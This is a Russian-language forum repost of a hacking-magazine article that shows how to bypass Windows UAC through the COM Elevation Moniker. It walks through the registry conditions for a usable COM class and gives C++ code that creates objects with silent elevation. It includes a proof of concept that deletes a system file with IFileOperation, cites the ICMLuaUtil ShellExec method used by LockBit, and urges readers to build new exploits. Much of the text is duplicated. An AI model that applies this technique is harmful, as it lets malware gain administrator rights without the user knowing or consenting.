D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Механизм User Account Control в Windows не дает пользователю взять и запустить малварь от лица администратора. Впрочем, система любезно предусмотрела механизм Elevation Moniker, чтобы упростить жизнь хакерам. В этой статье мы разберем, как использовать моникеры для обхода UAC. Всё по‑взрослому! На жестком C++ с интерфейсами.
Здесь есть сервер — им считается тот, кто предоставляет функции COM, — и клиент — тот, кто обращается к функциям сервера. Возможности сервера COM прописываются в классе COM. При обращении к серверу COM создается экземпляр класса COM, и клиент получает этот экземпляр. После чего может взаимодействовать с сервером.
Конечно, уже опытные смешарики скажут, что в действительности идет работа с интерфейсами: сервер зачастую отдает маршализированный интерфейс, через который будет происходить взаимодействие, а еще между клиентом и сервером висит прокси, стаб, апартаменты, RPC... Впрочем, такие подробности не нужны. Пока достаточно понимать, что есть сервер и клиент COM. Их взаимодействие происходит через экземпляр класса COM, в котором определены некие возможности.
Изучить базу про COM можно в статье Inside COM+: Base Services или в официальной документации.
Для создания экземпляра класса COM (процесс инстанцирования) требуется специальное значение CLSID (Class Identifier). Оно однозначно идентифицирует класс COM, к которому хочет обратиться клиент. Помимо того, само создание объекта COM реализовывало порождающий паттерн проектирования, называемый фабрикой.
Все с этим нормально жили и не тужили, однако в один момент захотели избавиться от обязательного использования CLSID и фабрики. Хотелось сделать всё так, чтобы объект находился как‑нибудь сам, автоматически, по минимальному общему входному набору данных.
И тогда на помощь пришли моникеры. Они позволяют идентифицировать конкретный объект COM (или даже полноценно его реализовать) по простой строке (moniker string). Эдакая строковая презентация объекта СОМ.
Процесс инстанцирования объекта COM из моникера называется активацией или же связыванием моникера (Binding). Моникер обладает достаточной информацией, чтобы найти и активировать нужный объект СОМ. Эту информацию моникер получает один раз, во время своего создания — в виде строки, формат которой он понимает. Позже менять эту информацию уже нельзя. Поэтому моникер, будучи однажды созданным, всегда находит и активирует один и тот же объект.
Моникерами считаются все объекты, которые реализуют интерфейс IMoniker. Возврат клиенту объекта COM происходит в функции IMoniker::BindToObject().
Код: Скопировать в буфер обмена
Помимо этого, существуют Session Moniker, с их помощью клиент может инстанцировать объект COM в чужой сессии. На этом был основан эксплоит COM Session Moniker EOP. Впрочем, о нем поговорим в следующей статье.
Для успешного байпаса UAC нужно соблюдение нескольких условий:
Предлагаю рассматривать на примере класса COM, который соответствует всем требованиям. Вот его CLSID:
Код: Скопировать в буфер обмена
Значение RunAs указывается для AppID, поэтому сначала вычленяем AppID для CLSID.
Вот как это выглядит в коде:
Код: Скопировать в буфер обмена
После чего проверяем ключ AppID.
Следующим шагом нужно убедиться в наличии ключа LocalizedString, в котором будет путь к целевой DLL с функциями COM. Если такой записи нет, активация возвращает ошибку CO_E_MISSING_DISPLAYNAME.
В подпапочке Elevation лежит ключ IconReference, указывающий на значок приложения. Здесь -101 — идентификатор ресурса, а Enabled — разрешить ли использовать этот COM-класс с Elevation Moniker.
Если какая‑то запись отсутствует, то активация возвращает ошибку CO_E_ELEVATION_DISABLED. Обрати внимание, что эти записи должны существовать в ветке HKEY_LOCAL_MACHINE, а не в ветке HKEY_CURRENT_USER или HKEY_USERS. Это не позволяет обычным пользователям регистрировать COM-классы, которые можно использовать с Elevation Moniker.
Для автоматизации поиска классов COM, подходящих для использования с Elevation Moniker, я создал программу WinCOMFuzzer.
После чего получим список CLSID, которые можно отдать в OleViewDotNet и проверить последнее значение: Auto Approval. Если оно установлено в True, то при повышении уровня целостности через Elevation Moniker не появится окошко UAC.
Если эти требования соблюдены, то можно себе поаплодировать — мы нашли класс COM, подходящий под Elevation Moniker.
Elevation Moniker поддерживает следующие уровни повышения:
Код: Скопировать в буфер обмена
Здесь guid — CLSID класса COM, установленный согласно требованиям, описанным выше.
Отмечу, что здесь используется специальное слово new, которое позволяет при привязке к моникеру получить экземпляр его класса. Внутри вызывается IClassFactory с последующим вызовом IClassFactory::CreateInstance().
Помимо этого, есть возможность раздобыть указатель на фабрику, чтобы получить инстанс вручную. В таком случае используется ключевое слово clsid. Ты получишь объект класса, который реализует IClassFactory. Затем вызывающая сторона дергает CreateInstance(), чтобы получить экземпляр объекта. Выглядит это так:
Код: Скопировать в буфер обмена
В следующем примере кода показано, как использовать Elevation Moniker. Не забудь до этого в потоке вызвать CoInitialize()!
Код: Скопировать в буфер обмена
В качестве hwnd можно передавать NULL, COM в таком случае автоматически вызовет GetActiveWindow(), чтобы найти хендл окна, связанного с текущим потоком.
В свою очередь, этот класс COM в интерфейсе ICMLuaUtil реализует метод ShellExec(). Из его названия понятно, что он связан с исполнением команд. Запуск эксплоита с последующим инстанцированием класса COM через Elevation Moniker и вызов ShellExec() позволяет исполнить команды в привилегированном контексте.
Кстати, этот метод использовал LockBit для обхода UAC.
Код: Скопировать в буфер обмена
Однако интерфейс предоставляет методы и для копирования файлов, и для создания.
Конечно, это не такой простой пример, ведь мы не можем напрямую исполнять команды, у нас есть лишь возможности, связанные с файловыми операциями. Впрочем, их можно совместить с SymLinks Abuse, чтобы добиться привилегированного шелла.
Автор @MichelleVermishelle
Источник xakep.ru
Моникеры
Первым делом отметим, что моникеры — один из кирпичиков подсистемы COM (Component Object Model). С помощью COM разработчики могут создавать такие программные компоненты, которые способны взаимодействовать друг с другом в самых разных плоскостях. Например, с помощью COM можно из кода Visual Basic дергать сборку .NET и наоборот! А что ты думаешь по поводу связки программ на Go и C++?
Здесь есть сервер — им считается тот, кто предоставляет функции COM, — и клиент — тот, кто обращается к функциям сервера. Возможности сервера COM прописываются в классе COM. При обращении к серверу COM создается экземпляр класса COM, и клиент получает этот экземпляр. После чего может взаимодействовать с сервером.
Конечно, уже опытные смешарики скажут, что в действительности идет работа с интерфейсами: сервер зачастую отдает маршализированный интерфейс, через который будет происходить взаимодействие, а еще между клиентом и сервером висит прокси, стаб, апартаменты, RPC... Впрочем, такие подробности не нужны. Пока достаточно понимать, что есть сервер и клиент COM. Их взаимодействие происходит через экземпляр класса COM, в котором определены некие возможности.
Изучить базу про COM можно в статье Inside COM+: Base Services или в официальной документации.
Для создания экземпляра класса COM (процесс инстанцирования) требуется специальное значение CLSID (Class Identifier). Оно однозначно идентифицирует класс COM, к которому хочет обратиться клиент. Помимо того, само создание объекта COM реализовывало порождающий паттерн проектирования, называемый фабрикой.
Все с этим нормально жили и не тужили, однако в один момент захотели избавиться от обязательного использования CLSID и фабрики. Хотелось сделать всё так, чтобы объект находился как‑нибудь сам, автоматически, по минимальному общему входному набору данных.
И тогда на помощь пришли моникеры. Они позволяют идентифицировать конкретный объект COM (или даже полноценно его реализовать) по простой строке (moniker string). Эдакая строковая презентация объекта СОМ.
Процесс инстанцирования объекта COM из моникера называется активацией или же связыванием моникера (Binding). Моникер обладает достаточной информацией, чтобы найти и активировать нужный объект СОМ. Эту информацию моникер получает один раз, во время своего создания — в виде строки, формат которой он понимает. Позже менять эту информацию уже нельзя. Поэтому моникер, будучи однажды созданным, всегда находит и активирует один и тот же объект.
Моникерами считаются все объекты, которые реализуют интерфейс IMoniker. Возврат клиенту объекта COM происходит в функции IMoniker::BindToObject().
Код: Скопировать в буфер обмена
Код:
HRESULT BindToObject(
[in] IBindCtx *pbc,
[in] IMoniker *pmkToLeft,
[in] REFIID riidResult,
[out] void **ppvResult
);
- pbc — контекст связывания. Это специальный объект СОМ, реализующий интерфейс IBindCtx. С помощью этого объекта указывается, каким образом должен осуществляться и как проходит в этот момент процесс связывания (активации объекта СОМ по моникеру);
- pmkToLeft — целевой моникер, по которому создавать объект COM;
- riidResult — внутри каждого класса COM может быть реализовано несколько интерфейсов. Здесь указывается IID (Interface Identifier) целевого интерфейса, который хотим получить;
- ppvResult — переменная, которая получит инициализированный указатель на интерфейс, через который можно взаимодействовать с классом COM.
Подвиды моникеров
Моникеры делятся на два подвида:- системные (они же встроенные, они же стандартные) — набор моникеров, предоставляемых Microsoft;
- пользовательские — созданные сторонними разработчиками.
Помимо этого, существуют Session Moniker, с их помощью клиент может инстанцировать объект COM в чужой сессии. На этом был основан эксплоит COM Session Moniker EOP. Впрочем, о нем поговорим в следующей статье.
Для успешного байпаса UAC нужно соблюдение нескольких условий:
- наличие интересных возможностей в классе COM: выполнение команд, удаление файлов, добавление пользователей — в общем, все, что требует токена с высоким уровнем целостности;
- правильная регистрация класса COM в реестре Windows.
Регистрация Elevation Moniker
Класс COM (его поле RunAs) должен иметь значение The Launching User (это значение дефолтное, применяется в том числе, если поле RunAs пустое) либо Activate As Activator. Если значение другое, то при попытке забиндиться к моникеру получим ошибкуCO_E_RUNAS_VALUE_MUST_BE_AAA
.Предлагаю рассматривать на примере класса COM, который соответствует всем требованиям. Вот его CLSID:
Код: Скопировать в буфер обмена
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
Значение RunAs указывается для AppID, поэтому сначала вычленяем AppID для CLSID.

Вот как это выглядит в коде:
Код: Скопировать в буфер обмена
Код:
DWORD GetAppIdFromClsid(IN std::wstring clsid, OUT std::wstring& appId)
{
HKEY hClsidKey;
std::wstring clsidSubKey = L"CLSID\" + clsid;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, clsidSubKey.c_str(), 0, KEY_READ, &hClsidKey) != ERROR_SUCCESS)
{
return ERROR_OPEN_FAILED;
}
TCHAR valueBuffer[256];
DWORD valueBufferSize = sizeof(valueBuffer);
if (RegQueryValueEx(hClsidKey, L"AppID", NULL, NULL, (LPBYTE)valueBuffer, &valueBufferSize) == ERROR_SUCCESS)
{
appId = valueBuffer;
}
RegCloseKey(hClsidKey);
return ERROR_SUCCESS;
}

Следующим шагом нужно убедиться в наличии ключа LocalizedString, в котором будет путь к целевой DLL с функциями COM. Если такой записи нет, активация возвращает ошибку CO_E_MISSING_DISPLAYNAME.

В подпапочке Elevation лежит ключ IconReference, указывающий на значок приложения. Здесь -101 — идентификатор ресурса, а Enabled — разрешить ли использовать этот COM-класс с Elevation Moniker.

Если какая‑то запись отсутствует, то активация возвращает ошибку CO_E_ELEVATION_DISABLED. Обрати внимание, что эти записи должны существовать в ветке HKEY_LOCAL_MACHINE, а не в ветке HKEY_CURRENT_USER или HKEY_USERS. Это не позволяет обычным пользователям регистрировать COM-классы, которые можно использовать с Elevation Moniker.
Для автоматизации поиска классов COM, подходящих для использования с Elevation Moniker, я создал программу WinCOMFuzzer.

После чего получим список CLSID, которые можно отдать в OleViewDotNet и проверить последнее значение: Auto Approval. Если оно установлено в True, то при повышении уровня целостности через Elevation Moniker не появится окошко UAC.

Если эти требования соблюдены, то можно себе поаплодировать — мы нашли класс COM, подходящий под Elevation Moniker.
Использование Elevation Moniker
Elevation Moniker — это стандартный моникер COM. Он отправляет запрос активации на сервер COM с указанным уровнем повышения. CLSID, который нужно активировать, надо прописать в строке моникера.Elevation Moniker поддерживает следующие уровни повышения:
- Administrator — это поле может использоваться только встроенной учетной записью локального администратора (RID 500). Гарантированно повысится до High IL;
- Highest — это поле используется всеми остальными учетками, в том числе членами групп локальных администраторов. Здесь никаких гарантий нет. Windows попытается выдать максимально возможный уровень целостности для данного аккаунта. Обычный аккаунт получит Medium IL, учетка из группы ЛА — High IL.
Код: Скопировать в буфер обмена
Код:
Elevation:Administrator!new:{guid}
Elevation:Highest!new:{guid}
Отмечу, что здесь используется специальное слово new, которое позволяет при привязке к моникеру получить экземпляр его класса. Внутри вызывается IClassFactory с последующим вызовом IClassFactory::CreateInstance().
Помимо этого, есть возможность раздобыть указатель на фабрику, чтобы получить инстанс вручную. В таком случае используется ключевое слово clsid. Ты получишь объект класса, который реализует IClassFactory. Затем вызывающая сторона дергает CreateInstance(), чтобы получить экземпляр объекта. Выглядит это так:
Код: Скопировать в буфер обмена
Elevation:Administrator!clsid:{guid}
В следующем примере кода показано, как использовать Elevation Moniker. Не забудь до этого в потоке вызвать CoInitialize()!
Код: Скопировать в буфер обмена
Код:
HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
Примеры COM-объектов
ICMLuaUtil
Это один из самых популярных эксплоитов для обхода UAC с помощью Elevation Moniker, PoC ты найдешь на GitHub. В коде можно явно наблюдать CLSID, который мы исследовали ранее, а также Elevation Moniker, еще не инициализированный.
В свою очередь, этот класс COM в интерфейсе ICMLuaUtil реализует метод ShellExec(). Из его названия понятно, что он связан с исполнением команд. Запуск эксплоита с последующим инстанцированием класса COM через Elevation Moniker и вызов ShellExec() позволяет исполнить команды в привилегированном контексте.

Кстати, этот метод использовал LockBit для обхода UAC.
IFileOperation
Предлагаю обратиться к утечкам WikiLeaks. Из них нам стало известно о COM-объекте, который позволяет выполнять файловые операции, не вызывая окошка UAC. В частности, PoC предоставляет возможность удаления произвольных файлов.Код: Скопировать в буфер обмена
Код:
HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, void **ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMon[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintfW(wszMon, sizeof(wszMon)/sizeof(wszMon[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMon, &bo, riid, ppv);
}
void ElevatedDelete()
{
MessageBox(NULL, "DELETING", "TESTING", MB_OK);
// This is only availabe on Vista and higher
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
IFileOperation *pfo;
hr = CoCreateInstanceAsAdmin(NULL, CLSID_FileOperation, IID_PPV_ARGS(&pfo));
pfo->SetOperationFlags(FOF_NO_UI);
IShellItem *item = NULL;
hr = SHCreateItemFromParsingName(L"C:\\WINDOWS\\TEST.DLL", NULL, IID_PPV_ARGS(&item));
pfo->DeleteItem(item, NULL);
pfo->PerformOperations();
item->Release();
pfo->Release();
CoUninitialize();
}
Конечно, это не такой простой пример, ведь мы не можем напрямую исполнять команды, у нас есть лишь возможности, связанные с файловыми операциями. Впрочем, их можно совместить с SymLinks Abuse, чтобы добиться привилегированного шелла.
Выводы
Иногда сами разработчики закладывают в свои программы функции, похожие на полноценный бэкдор. Нужно искать лазейки и обходы, и ты их, возможно, найдешь. Если хочешь попрактиковаться в обходе UAC с помощью Elevation Moniker, то обрати внимание на интерфейс IColoDataProxy, на него еще нет поков!Автор @MichelleVermishelle
Источник xakep.ru